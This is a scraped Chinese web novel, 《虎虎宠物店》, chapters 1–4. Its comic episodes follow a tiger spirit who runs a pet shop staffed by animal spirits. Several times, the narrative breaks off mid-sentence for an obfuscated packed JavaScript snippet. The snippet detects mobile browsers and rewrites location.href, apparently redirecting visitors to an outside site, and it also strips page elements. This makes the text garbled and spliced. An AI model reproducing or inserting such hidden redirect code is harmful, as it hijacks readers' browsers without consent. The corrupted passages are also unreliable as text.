《虎虎宠物店》 1. 第 1 章 城市的天空,阴云密布,闪电照亮整片云层,雷声乍起,轰然巨响响彻天地。 一场雷暴雨即将到来,路上行人脚步匆匆,恨不能生出翅膀飞到目的地。 居民区里家家门窗紧闭,街边做生意的人也无精打采,谁会在这种鬼天气出门。 小区旁边几家餐饮店老板思考再三,把外卖平台给关了,以免送餐超时。 到时候钱没赚着多少,反倒被打差评,不划算。 离居民区不远的地方,有一栋独立的三层小楼,一楼挂着一个大大的招牌,用圆圆的娃娃体写着“虎虎宠物店”五个大字。 一楼是店,大大的玻璃幕墙上,一张扬起一角的A4纸在风中颤抖,好像随时要随风而去: 虎虎宠物店,特惠大酬宾【方正小标宋简体字体,字号为二号,且不加粗】 主营业务:宠物日常美容、洗澡、训练、托养。【三号仿宋体】 (备注:行间距30磅) 纸上的字,包括括号里的内容,都是一号字、黑体。 莫名的透出一种荒诞喜感。 刚贴上那会儿,就有路人拍下来发到网上,猜测这家店主一定是一个上不了岸只得自谋职业的考公人,用这种方式嘲弄那个自己无法进入的世界。 还引起了一阵范围不大的讨论,有不少附近的人过来围观,看完哈哈哈就完事,也让人记住了这里有一家宠物店。 在周围居民的眼里,这家宠物店里单是猫狗就有三四十只,本来他们还担心这么多动物,要是赶上□□时节,半夜猫叫狗吠的,还不吵死了。 没想到,都好几个月了,从未有过噪音扰民的纠纷,一度有传闻说店里的动物都是哑巴。 其实店里的动物寥寥无几:西边的水缸里趴着一只懒洋洋的龟;东边靠墙的一排鸟笼里站着两只互相看不顺眼的鹦鹉;靠南的窗边三排猫舍的唯一住户是一只白色波斯猫。 二楼是办公室。 藏青色的地毯、黑色沙发,以及各色电器家具一应俱全。 偌大的房间里没有开灯,窗边的沙发上坐着一个约摸二十六七岁的女人,穿着最简单的白色T恤和一条铅灰色的工装裤,一头利落的黑色短发,眉眼之间英气十足,与某社交平台上流行的“好嫁风”“森系”“温婉”完全背道而驰。 她是本店的老板李寅寅,此时,她手里把玩着一只手机,屏幕显示收到一条新消息。 在她的身后,恭恭敬敬地站着一个身材高大的男子,他全身紧绷,站得笔直,双手中指缝紧贴着裤缝:“现在就去吗?” “对,夜长梦多。”女人的声音冰冷无情,她的眼眸中倒映出电流翻滚的云层。 她的命令,一旦发出,绝不会收回。 传说中,曾经敢于忤逆她的生灵,皆魂飞魄散,尸骨无存。 男子不再说话,欠了欠身,转身离开房间。 “轰”暴雨在一声惊雷之后落了下来,不过五分钟,地面的低洼处已积起了小水潭。 沿街的单元楼里,有小两口闲坐家中无事,隔窗望雨,只见一道矫健的身影破开雨幕,在街道上穿行。 男人睁大了眼睛:“快来看,那狗嘴里叼着什么?卧槽?狗会取快递!” 女人往窗外扫了一眼:“这不是门口那个宠物店里的狗吗,上个月广告牌砸下来的事你知道吧,粮店里的小工往他们家送米,是这只狗出来接的,硬是扒拉着小工不让走,多耽误了一会儿,要是她按时回家,那个广告牌正好砸在她头上。都说这狗有阴阳眼呢。” “牛逼啊!”男人听了无限神往:“说的我都想养狗了,下雨能拿快递,危难时保命。” “就咱们家这点大的地方,还养狗,你和狗,这个家只能留一个,你自己选。” 男人悻悻:“我就随便想想,那个宠物店平时好像没什么生意,租金能回得来么?” 女人望着雨幕中的宠物店:“我听说她那个宠物店是她自己的产权,她帮开发商老板解决了一个大麻烦,老板白送给她的。” “要是有老板白送房子给我就好了。” “那你得干点什么啊!你昨天还说中彩票就好了,彩票呢,买了吗?” “这不下大雨吗?要是我有狗,我就让狗去买。” · · 桌上,整齐地码放着一个纸盒,盒里放着小铁锄、小铁铲、小铁耙,每件都小巧玲珑,全长不超过二十厘米。 盒内还有一张巴掌大的小纸条: 三件套迷你园艺工具,爱花人贴心小帮手。 唤醒宝宝的种族天赋,亲子活动必备。 一体成型、实木手柄,加厚耐用 五星好评加图片三张,返现一元,联系客服即可领取 李寅寅嘴角紧绷,琥珀色的眼眸盯着德牧:“谁买的?” 原本等着表扬的德牧一怔,摇来摇去的尾巴立时垂了下去,夹在两腿中间,一溜小跑去一楼,把趴在笼子里打瞌睡的白色波斯猫给叼来。 波斯猫虽然不知道发生了什么,但预感到不是好事,遂扬起脸,用一双无辜的蓝眼睛水灵灵地望着李寅寅,发出了一声妩媚的“喵”。 若是让爱猫的人看见它这样乖巧的模样,心都化了,不管它是往实木地板上泼了红油螺蛳粉,还是打碎了一万块的水晶灯,都一定会选择原谅它。 猫猫有什么错呢。 李寅寅冷漠地指着桌上的花艺小工具:“薛姗,怎么回事?” 波斯猫薛姗看了看,一个愣都没打,转身蹿下大班桌,不过几秒,它也叼了个活物回来——一只圆滚滚的仓鼠。 仓鼠此时嘴里塞满了瓜子,两只小爪子还紧紧捧着一颗瓜子,一脸懵逼地被蹲在桌上。 它开智没多久,智力水平跟幼儿园中班的孩子差不多,在识别情绪方面,甚至还不如人类的小婴儿。 李寅寅身上散发出的恐怖低气压连身在一楼的老龟都感觉到了,仓鼠什么都没有感觉到,还乐呵呵将瓜子捧到李寅寅面前:“虎虎姐姐吃。” “这是你买的?”李寅寅努力保持着和蔼的态度,这孩子太傻了,冲它发火,它也听不懂。 仓鼠高高兴兴地点头。 “谁让你买的?”李寅寅追问。 “猫猫姐姐。”仓鼠乐呵呵地望向薛姗。 薛姗忙解释:“是我让它买的,但是,我给它列清要求了呀。” 它叼来一张纸,上面详细规定了要买的物品,包括品名、用途、甚至连要用多少号钢材都列了出来……就是没列具体尺寸。 薛姗努力解释:“你看嘛,这不能怪我!虽然,我没说要多大,但是,都说是用来挖宝藏的了,买这么小的,怎么挖嘛。” 李寅寅让仓鼠演示购买全过程。 第一步,它挥舞着小爪子,照着纸条上的商品名称一笔一画地描红——“用来挖宝藏的铁工具”。 第二步,点击“价格排序”——“低价优先”,第一个商品就是这个“童年宝藏回忆,亲子活动铁制花艺园艺工具”。 仓鼠当机立断选中了它。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713559|144676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 第三步,拍打“确定购买”,然后下一步、下一步、下一步……直到确认成交的那一步,被李寅寅喊停了。 仓鼠非常骄傲地抬起头,等着李寅寅的表扬。 李寅寅扯扯嘴角,摸摸它的头:“好了,玩去吧。” 她站在窗前,眉头紧皱,思考后续补救方案,五公里外有一个建筑工地,应该也许大概有这些工具…… 她抬起手,将垂落耳边的头发向后捋,看着镜中的自己露出一缕白如霜雪的发丝,她自己都不知道头发是什么时候白的。 不过,有这样的笨蛋手下,愁白了头是多么合理的事情。 李寅寅不知道的是,自己身后的一猫一狗,正在瑟瑟发抖。 它们想起流传在本市妖怪中的传说:这只恶虎的力量之源就是这撮白发,亮出这撮头发,就代表她要痛下杀手。 冯墨内心怅然:“完了,内丹不保、灰飞烟灭、身死道消,修炼数百年竟是如此结局。” 薛姗满眼悲伤:“电视剧大结局还没看到、今天晚饭还没来得及吃,都闻着味儿了。早知道,刚才就先把柜子里的猫条都吃了……” 正当两妖绝望等死的时候,李寅寅放在桌上的手机屏幕忽然亮起来,是新闻APP的通知消息: “刚刚本市地铁五号线工地发生塌陷,塌陷地面下发现大量古代文物,据悉省文物局专家已组织考古队伍对该遗址进行抢救性挖掘……” 李寅寅脸色一变,马上打开新闻,看到完整的新闻内容和发掘现场的视频后,她转过身,走进办公室的里间。 里间隔音很好,冯墨和薛姗还是依稀听到了愤怒的虎啸声。 五分钟后,李寅寅走出来,她看着正垂头搭尾等着发落的一猫一狗,声音非常温和: “错误是成长的一部分,我不会因为一次失误就质疑你们的能力。我希望你们能从这次经历中吸取教训,并且能够将这次的经验转化为动力,推动你们在未来做得更好。 冯墨大雨天跑这么一趟辛苦了,晚上给你加肉,薛姗,你自己反思,乐乐还小,别什么事都扔给它做,行了,都忙去吧。” 冯墨与薛姗面面相觑,不敢相信自己的耳朵。 记得那只打印广告出错的大雁精,没过几天就消失了。 那张纸一直贴在墙上,一定是老板对店里员工们的警告,让他们好好做事:出错者——死! 虽然不明白为什么这次没收拾他们,不过老板做事必然有她的深意,趁老板没反悔,冯墨与薛姗忙不迭地逃出李寅寅的房间。 李寅寅站在窗前,窗外的雨势没有一点要小下来的意思。 她的最后一个藏宝洞也被人类发现了,当初收集的金银珠宝……以后大概得去博物馆才能看到。 这家宠物店原本就是李寅寅为了从本地妖怪中打听消息才开的,压根没想好好干。 她最初的目标就是取回宝藏、卖掉宠物店、找回当年那几个靠谱的手下。 灵气稀薄又怎样!末法时代又怎样! 有了那几个得力干将,她分分钟踏入太乙散仙境界! 比广告里吹的那些“吃了XXX,清北哈佛随你挑”还保真! 然后,她要做大做强!再创辉煌! 李寅寅深吸一口气,在不知道靠谱手下在哪里时候,只能先把宠物店做大做强再创辉煌。 这样才能打听到更多的消息。 理清头绪后,李寅寅朗声叫道:“冯墨,去买个新的保险丝,我们要在这里再住一段时间。 2. 第 2 章 “开饭了~”满脸慈祥的老头子端着一盘菜,缓缓抬起脚,又慢悠悠地放下来,目测移动距离为十厘米。 从灶台走到餐桌,一共走十五步,他已经走了五分钟还没有走完。 “我来我来!”薛姗一个箭步冲过去,从老头子手上夺过菜盘,放在桌上。 老头子摇摇头:“女娃娃怎么这么浮躁,学学人家冯墨,稳重些才……” 话音未落,冯墨正托四个大海碗,大步流星的来了,那风一般的速度,那好像要从眼睛里伸出手的炽烈眼神,着实与“稳重”没有半毛钱关系,如果他现在还是狗的状态,恐怕尾巴早已摇到螺旋升天。 薛姗将李寅寅请来坐下,一众人才跟着围坐在桌边,举起筷子。 一桌五个人,有男有女,有老有少,在外人看来,就是其乐融融的一大家子。 坐在正中间的老头子就是终日趴在水潭里的那只老龟,他的真身是旋龟,原本保持着那个样子也没什么,后来新闻里连续报了几起关于入侵物种鳄龟伤人事件,那鳄鱼与他长得有九分相似,为免麻烦,他不得不把自己变成金钱龟的模样。 他隐姓埋名在人间待了许多年,做什么事都讲究一个随意,就连名字都没好好起,只说自己叫“介老头”,做户口登记的时候才实在没办法,硬编了个名字叫介宁。 他一生只求刚刚好,仗着自己是天生灵物,从不好好修行。 活了近万年,一没炼出法宝,二没修出绝技,除了长寿,比起普通人类来,没什么优势。 日子也不好好过,他懒得动、懒得思考,世道太乱实在混不下去的时候,他就把头一缩,冬眠去也,结果完全没有因为长寿而拥有比人类更多的财富。 能攒下这么一套房子,已经是难能可贵。 本以为可以这么继续混下去,没想到,人类世界搞出了街道、社区这个概念,还有什么网格员、志愿者。 他们太尽心了,生怕他这个“无依无靠的孤寡老人”一声不吭地死在家里,哪天看不见他,就要派人过来问候。 还有一个扎马尾辫的小丫头看他动作迟缓,非要送一个电动轮椅给他,生怕他不收,非得说是厂家免费送的。 他一辈子的移动速度都没超过每小时六十米。 让他坐上每小时四公里的电动轮椅上? 太刺激了,他受不了。 人类太多的关注,让介老头非常烦恼。 现在三位“远房亲戚”住进来以后,社区的人才把注意力转移到其他人身上。 仓鼠乐乐是被冯墨叼回来的,冯墨遇见他的时候,他正被几只流浪猫堵在墙角瑟瑟发抖,没人知道他是怎么开的灵智,反正也不重要,就凭他这已经得了妖身,还怕流浪猫的怂样,也不是什么高级修炼法。 至于两只鹦鹉,是薛姗上个月不知从哪里弄来的夜宵。 即将丧命猫口之际,它俩向李寅寅求救,并证明自己会说话:“会多国语言、发音标准、曾服务于多家商铺,被评为旺铺之星,深受客户信赖。” 然而,它俩入职之后,只会一句带着口音的“欢迎广昂~~临!” 旺铺的能力么,只能看出确实旺水果店,它俩最爱吃车厘子,而且吃的时候,不求最好,只求最贵。 每天的水果钱比薛姗和冯墨的伙食费还多。 当它们把李寅寅买的五斤4J级车厘子一口气吃光之后,李寅寅平静地通知它们:半年之内如果达不到普通话一级甲等水平,就退还给薛姗。 饭后,李寅寅打了一个电话,半个小时后,一个身穿职业装的长发女子出现在宠物店门口:“乐乐你好呀,老板在吗?” 仓鼠化身的小男孩乐乐一见到她,顿时像见到鬼一样,尖叫一声,转身就跑,一头撞到他平时最怕的薛姗怀里,现在他也顾不得怕薛姗了,一边指着门口,一边颤抖。 薛姗抬头看见她:“是徐娅啊,上去吧,老板在等你。” 李寅寅见到她,笑道:“来得这么快,坐。” “那张纸怎么还贴着啊?”徐娅说的是门口贴着的A4纸。 李寅寅:“明星营销大师的出道之作,当然要留着啦。等你做出新的方案,我再换上。” 李寅寅刚来的时候,觉得虽然这个宠物店是个临时存身之处,但是好歹得意思意思,稍微弄出点人气来,不然只怕会被人疑心这店到底正不正经。 于是,她让徐娅设计一个店里的海报,要求要吸引人,能让人知道这里有一家宠物店,以及总费用不能超过三块钱。 三块钱,隔壁打印店,打一张黑白A4纸三毛,彩打一块五。 抠死你算了! 听到李寅寅的要求,徐娅猜想这是李寅寅想把她赶走,而故意找麻烦。 于是随便糊弄了一下,就是想让路人看笑话。 谁知道,还真的吸引了不少人驻足观看。 不管传出去的是什么名声,总之,完美达成了“知道这里有家宠物店”的目标。 李寅寅建议她可以去投营销公司的工作,发挥特长。 凭借着“成功宣传宠物店”的项目经验,以及公司正好有个项目非常缺人,徐娅就被录取了,当天直接跟着项目组出差,连回店里打个招呼都没来得及。 徐娅走后,李寅寅找来乐乐,问他为什么见到徐娅像见鬼一样。 原来,就在徐娅走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713560|144676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那天晚上,冯墨刚巧买了一只烤鸭。 分不清鸭子和大雁的乐乐,以为那只烤鸭就是徐娅。 他一口都没吃,介老头还以为他是不好意思吃,主动夹给他一块。 乐乐把那块烤鸭藏了起来,埋在后院里,还半夜在被窝里偷偷抹眼泪。 整个店里没一个人知道这孩子独自一人在柔肠百结,也没人告诉他真相。 所以,今天乐乐见到活着的徐娅,还以为她诈尸了,被吓得魂飞天外。 得知真相的乐乐很生气,后果很严重,他决定离家出走。 他拿起心爱的小书包,往书包里装了三包香瓜子就跑,店里的人一时没注意,竟真让他给跑出去了。 半个小时后,冯墨闻着味儿,把乐乐给带回来。 不多时,孩子的哭声响彻整个宠物店。 李寅寅从二楼下来:“稍微说他几句就算了,怎么搞得哭成这样……咦?” 哭声不是乐乐发出的,而是一个襁褓中的婴儿,此时,他已经哭得喘不上气,小脸憋得发紫,再哭下去,一定会出问题。 李寅寅忙问:“这孩子哪来的?他父母呢?” “问他。”薛姗把乐乐推到李寅寅面前。 乐乐神神秘秘地对李寅寅说:“他是瓜子精……” “啊?” 乐乐举着小书包:“三包瓜子,没有了,变成他了。” “这不是你的书包。”李寅寅一眼就认出来,“你的上面是泰罗奥特曼,这个书包上面的是赛文奥特曼。” 不管是哪个奥特曼,书包里面有个孩子总归是真事。 谁家好人把孩子放书包里啊。 李寅寅的脑中瞬间闪出三个大字:人贩子。 不管怎么着,先报警吧。 介老头打电话。 李寅寅和薛姗忙着研究怎么让孩子别哭,最后发现冯墨的尾巴最好使,摇来摇去,那孩子的眼睛就盯着他的尾巴,然后伸手抓住,“咯咯咯”的笑起来。 十分钟后,冯墨的耳朵动了动:“有好多车。” 过了一会儿,他又说:“好多人。” 李寅寅走出门,眼前停着三辆警车,红蓝交错的灯光比太阳还亮,李寅寅十分困惑,心想这孩子这么有背景?接一下需要这么大的排场? 纷乱的脚步声仿佛是从四面八方包围过来,就连不远处的居委会楼顶都有人在跑动。 李寅寅不以为意,这年头,谁还不爱看个热闹呢。 遇事不慌,先发个朋友圈,现在还可以另外加个小红书和微博。 几个穿着警服的男人围过来,看着李寅寅:“谁报警说劫持婴儿的?” 3. 第 3 章 “是我们报的警,这孩子也不知道怎么,就出现在书包里了。”李寅寅热情地将警察请到屋里。 不知为什么,警察们的表情都非常紧张,有两个年轻的实习警,更是满脸压抑不住的兴奋。 李寅寅有些惊讶,这段时间,她看惯了每天早上出门时如行尸走肉般的社畜,就没见过谁的脸上像他们这样:洋溢着对工作的热情。 当双手按在腰间,背心上写着“特警”二字的警察们进屋,看见婴儿正躺在沙发上,满脸笑容灿烂,手里揪着一条狗尾巴。 尾巴的主人趴在一边,无奈的双眼写满了生无可恋,全身都透着被迫营业的摆烂气质。 一个五六岁的小男孩神情紧张,双手捧着一只小壶,慢慢往装着奶粉的奶瓶里倒水。 穿着白色长裙的美女站在一边指挥:“倒……倒……倒……继续倒……慢点慢点……” 紧张的人放松下来,兴奋的人满脸困惑。 带头的中年警察环顾四周,问道:“是谁报的警?” “刚才是我打的电话。”介老头满脸笑容,慢慢走过来。 中年警察看见是他,松了口气:“介大爷,原来是你啊……” 介老头在本地派出所是挂了号的,当初他还是“孤寡老人”的时候,喜欢去公园趴着晒太阳,一趴几小时,还一动不动,经常被误以为死了,这个片区的民警辅警都认识他。 确定没有什么绑架婴儿的重大刑事案件后,中年警察向后退了几步,站在墙边,从腰间摘下对讲机,低声对里面说:“狙击手撤退。” 等他转过头,发现屋里几个人都看着他。 乐乐抱着奶瓶,傻傻地抬头问薛姗:“狙击手是什么呀?” 大家心照不宣的把话题岔过去了,中年警察蹲下身子,向乐乐友好的询问捡到孩子的具体情况。 乐乐背着小书包离家出走之后,遇到了一个同龄人,一起玩了一会儿,然后,冯墨就来了,一手拎着乐乐,一手拎着书包回家。 谁知道就拿错了书包。 警察听了直皱眉,所以,孩子真的是被放在书包里的?这是什么新的绑架手段?人贩子的年龄已经下调到这么低了吗? 没过多久,调监控的人回来了,他们找到了书包的主人,又从那个孩子的行动路径找到他家。 孩子的父母两人神情激动,几乎是从外面飞进来的,孩子的母亲看见笑呵呵的孩子,当场腿一软跪下了。 整件事,没有人贩子这种恶性案件,只有一个想要在同班同学面前得意炫耀的哥哥。 他对自己有妹妹这事感到非常的骄傲和自豪,整天在同学面前说自己妹妹有多可爱,同学说他吹牛,他不服,趁着中午放学回家,把妹妹藏进书包里带到学校,炫耀完了,又把妹妹藏进书包里送回家,结果路上遇到了乐乐。 那个熊孩子现在在家里反省,父母连对他进行混合双打的心思都没有,忙着打电话给亲友,求他们帮忙寻找。 “为什么不报警?”警察对如此心大的父母相当无语,亲友,亲友他们能调全市的监控吗! “这不是人失踪了24小时才能报警吗……” “电视剧里看的吧,什么24小时才能报警,一个小婴儿,还能坚持二十四小时?!你们应该马上报警……”警察恨铁不成钢,对小两口进行普法教育。 总之,一切就这么有惊无险的结束了,夫妻俩千恩万谢,抱着孩子不撒手,临走的时候,被抱在怀里的婴儿发出“啊啊啊”的叫声,并用力伸头探向冯墨的方向。 冯墨晃着尾巴走过来,昂着头,发出“呜呜”两声,小婴儿“啊啊”回应,一人一狗交谈许久,婴儿才安静下来。 年轻的母亲大为惊讶:“我家安宝很怕生的,也害怕小动物,我家养的金毛都送走了,怎么跟你们家狗狗这么合得来?” “墨墨是受过专业训练的,虽然它是德牧,不过也接受过精神抚慰的训练,一点都不比金毛和拉布拉多差!如果是金毛的话,一定可以做得更好。”李寅寅适时的宣传起了店内服务。 等人都走光了,大家才松了一口气。 李寅寅看着正哄着乐乐喝牛奶的介老头,好奇问:“你跟警察是怎么说的?怎么会搞出这么大阵仗?” 介老头乐呵呵:“我说,我们捡了一个婴儿,希望能联系他父母快点过来,不然孩子怕是要不好,再带点钱来,要现金。” “我们怎么就劫了一个婴儿?”李寅寅一愣,继而反应过来:“我以前怎么没注意到你的口音问题这么重啊。” 劫了一个婴儿,还说父母不快来,就要不好……这不是在暗示要撕票,甚至还要钱!现金!就差说不连号的旧钞了。 “为什么还要钱啊!”李寅寅扶额。 介老头一腔正气地指着桌上没带走的金装婴儿配方二段奶粉:“一听要一百五十六块钱呢!专门买给她喝的,难道不应该她父母出钱?我不用手机,就提醒一下要现金怎么了?” 介老头肯免费收留李寅寅他们,不是因为他善。 是他也需要同为妖怪的李寅寅帮助他在人类社会继续过日子。 再说,他的要求也没毛病,毕竟把人孩子提溜回家的也不是他,要他出钱就很不合适。 结果刚才一乱,大家都把这事给忘了个干净。 李寅寅安慰他:“今天这么多人在门口拍视频,咱们肯定能火,等客人多了,区区一百五十六块钱算什么,分分钟就挣回来。” 第二天早晨,并没有出现人民群众在宠物店门口排队的场景。 今天是工作日,天气也不好,大多数人刷到新闻,哈哈一笑,也就过去了。 直到中午,才有一个长相与打扮都很普通的中年女人站在门口,抬头看了看宠物店的招牌,又低头看了看手中握着的手机,才走进店里。 她环顾一圈:“请问,你们这边有能哄人的狗吗?” 李寅寅:“你是说抚慰犬吗?有,你想要一个什么样的?我们这有拉布拉多、金毛、柯基、萨摩耶,都是精挑细选,特别听话特别乖。” 虽然,现在整个店里只有冯墨一只狗,不过这不是问题,只要思想不滑坡,办法总比困难多。 女人点点头:“我看到你们昨天的视频,你们这里的狗,是不是都能像那只大狼狗一样?” “你放心,我们这的狗,都经过专业的严格训练,性格温顺,懂事可爱,那只狼狗是我们这水平最差的,卖不出去,才自己留下养着……” 李寅寅为了生意一通吹,假装看不见站在一边满眼幽怨的冯墨。 女人径直走到狗舍,每一个透明笼子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713561|144676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都有一只干干净净的小狗,或蹲或趴,见到她过来,都坐直身子,眼巴巴地看着她,卖力地摇着小尾巴,好像在说:“选我,选我。” 这些小狗都是李寅寅根据人类对狗的最高审美要求来设定的幻象:皮毛油亮蓬松,眼睛大大亮亮、可爱、乖巧、亲人。 哪怕平时对小动物无感的人,都会被它们懵懂天真的模样打动。 最后,女人挑了一只金毛,这不是特别罕见的品种,李寅寅没费什么力气就找到了与幻像差不多的狗,再做做美容,一般人根本看不出来有什么区别。 除了狗本身之外,女人在宠物店里直接购齐了所有的狗狗用具:专用食盆、小窝,还在宠物店里开了洗澡和美容季卡。 甚至没有想着到网上看看是不是有更便宜的同款商品。 月卡上留的主人姓名是何官琼,名字是女人自己写的。 “好漂亮的柳体。”李寅寅夸赞道,“现在很多人提笔忘字,别说字有体了,能把字写对就已经难能可贵。” 何官琼淡淡一笑:“现在能说出字体名字的人也不多了。” “嗯,我很喜欢书法的。”李寅寅打蛇随棍上,这也是她跟别人学的,她见过一个卖翡翠的人,逮谁都说是老乡,哪怕说话口音差着十万八千里,他也能硬蹭说客人跟他远嫁过来的母亲是老乡。 跟客人套套近乎,拉拉关系总是没错的。 后面的狗粮啊、狗玩具啊、洗澡美容卡续期啊……还指着老客户慷慨解囊呢。 临送去之前,李寅寅与金毛进行了一次认真长谈,从狗生理想,聊到现在人类就业形势困难、消费降级,能找到一个靠谱的新主人不容易,希望它在主人家好好表现,争取在这家顺利过完包吃包住的一生。 末了,她还与金毛击掌为誓,金毛保证不在主人家搞事,保证不断为李寅寅带来长期收益。 然而,三天后,何官琼就找到李寅寅,说想要把狗退了。 李寅寅忙问:“是不是小多淘气了?” 那金毛不会是偷摸上网,学会整顿职场了吧! 何官琼摇摇头:“不是,是我的女儿不喜欢……我已经尽力想让她接受,但是……还是算了吧……我也不要你退钱,能不能帮我代售转让?五折就可以,食盆和窝都可以免费送。” 尽管李寅寅完全不想退,但是,人家都这么说了,硬顶着也不合适,她没把话说死,只说先去看看是怎么回事。 一进门就看见客厅的墙上挂着一行大字:“精神到处文章老,学问深时意气平”。 大门正对着的书房里摆着好几架顶天立地的大书柜,书柜里满满的都是书。 明明是满室书香,极其文雅的地方,却有一个少女抱膝埋头坐在地上,她暴躁地抓着自己的头发,好像不知疼一样。 小多扑过去用爪子扒拉着她的胳膊,少女一次又一次的将它推开,小多一次又一次的过去,被推开多少次,它就上去多少次,完全没有不耐烦的模样。 “婷婷,别这样……”何官琼扑上去抱住少女,拼命安抚,李寅寅帮着倒水,待少女吃了药,回卧室,家里才重新恢复平静。 何官琼将卧室门虚掩上,回到客厅,对李寅寅叹息道:“你看到了,我女儿心情不好的时候,就会这样,我怕她哪天失手打伤了小多。” 4. 第 4 章 肯定没有人想让外人看到家里人变成这个样子,李寅寅非常理解何官琼的心情,牵着小多的绳子准备告辞。 没想到,小多直接趴在地上,任凭李寅寅怎么拉扯,它都不为所动。 李寅寅蹲在它面前:“该走了。” 小多抬起头来,对着她低声“咕噜”:“我不走!我不回去!我!血统优秀!哪项考核不是顶尖!要是让别的狗知道我来三天就被退了,我还怎么活!” 六十多斤还死赖在地上不肯走的大型犬,对于李寅寅面前根本就不是个事,她伸手拎住金毛的后脖颈,轻松拎起,抱歉地对何官琼说:“我先走了。” 刚走了没两步,小多疯狂扭动起来,李寅寅松开手,小多四脚一落地,立马跑向卧室,一个飞扑,推开了卧室的门。 躺在床上的少女不知什么时候已经醒了,缩在被子里,身体不住颤抖。 小多跳上床,用毛绒绒的脑袋拱着少女的肩膀和胳膊,少女慢慢平静下来,伸手摸了摸小多的头:“好了,我没事了。” 小多没有离开,而是在她身边躺下,爪子搭在她的胳膊上,轻轻的拍打,好像在无声的安慰。 “妈,不要把小多送走好吗?”少女轻声开口,“我不会伤害它的。” 李寅寅虽然对人类的精神世界不太了解,不过从少女在短时间内连续两次的异常状态也能看出,肯定是存在着什么问题。 虽然小多自己愿意留下来,不过李寅寅也得为自己店的名声着想。 要是小多真有个三长两短,传出去她堂堂虎妖,连只狗都护不住,到时候只怕会成为全城妖怪的笑柄。 丢了面子事小,找不回助她飞升成仙的手下事大。 “我可以跟你聊聊吗?看看小多是不是适合你。”李寅寅问道。 何官琼担心地看着她,并不想让女儿和陌生人独处,万一她乱说话,又刺激到女儿…… 李寅寅笑道:“别担心,我在大学做过辅导员,跟学生相处的还不错。” “妈,你先出去吧,网上给宠物找主人都要问问的。”少女起身。 何官琼转身往门口走了几步,又不放心转身:“有什么事,你叫我。” 快走出门了,又问道:“我给你们切西瓜。” 少女摇头:“我不想吃水果。” “那就削个梨,润肺的。” “不吃。” 少女没有再说话,转头抱着小多,一下一下的摸着它的背:“我不会伤害它的,我只是有点控制不住自己的情绪,已经在吃药调理了。我舍不得小多走。” 两人有一搭没一搭的聊着。 没一会儿,卧室门又开了,何官琼端着两只盘子进来,里面摆放着切好的西瓜、梨子、草莓、苹果,上面插了几根牙签,所有的水果都被削成了一口能吃完的大小。 “天气太燥热了,吃点水果对身体好,小李你多吃点……”她笑着说着,又对少女说:“你也是,不要挑食,都是有营养的。” “知道了。”少女淡淡回应。 何官琼离开之后,少女看着那只碗,忽然一笑:“我妈永远都在为我好,是不是?” 这话,李寅寅可就没法接了,她学习过人情世故,知道不管什么事,自家人怎么说都可以,外人说就是不行。 李寅寅简单地了解了一下她的情况,这妹子叫何甜,今年十九,在本地一家双一流大学读大二,她们学校只要求大一学生必须住校,她是本地人,大二就回家住了。 “别人都羡慕我可以回家吃到热饭,不用跟食堂的手抖阿姨斗智斗勇,衣服被子都不用自己洗,多好啊,太幸福了……”何甜说这些的时候,脸上的表情却与她说的话背道而驰。 李寅寅开口:“你并不想。” “我怎么会不想呢……不想就是不孝,是不识好歹。”何甜闭上眼睛。 阳光照在她的身上,却照不进她的眼里。 李寅寅知道何甜说的不是真话,她对这样的沟通效率非常不满,想要潜入何甜的意识,看看她到底是怎么回事。 她刚刚抬起手,想将一缕妖力放进何甜的识海,忽见窗外电闪雷鸣。 明明刚才还是阳光灿烂的天气,现在,却有一片云盖在这栋楼的楼顶。 就那么一小片。 李寅寅认识它,在人间,它叫雷暴云,在妖界,它叫天劫云。 妖怪和仙人犯事的时候,它就会冒出来,用天雷对犯事者进行精准打击。 不至于吧,只是看一下人类的内心而已……行吧行吧……我不偷看还不行吗! 天劫云一直没散,李寅寅也只得老老实实地坐着,努力找话题,问学校、问平时的生活,何甜倒是有问必答,但是回答都非常短,都是“很好”“没什么”“每天都一样”。 一个十九岁的少女,没有一丁点自己的爱好,对将来的人生规划是考公,或者考编,工作地点离家不超过二十公里,就算结婚,也要买在跟妈妈一起的小区…… 虽然,这个世界确实有追求稳定、舍不得离开家,希望一辈子在父母身边的人,但是,李寅寅看出何甜并不是真心这么想的。 小多坐在一边,眼睛直勾勾地盯着装着水果的碗。 何甜随手拈了一块西瓜,放在它的嘴边,它抬头看了看李寅寅,等李寅寅点头,它才低头把西瓜卷到嘴里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 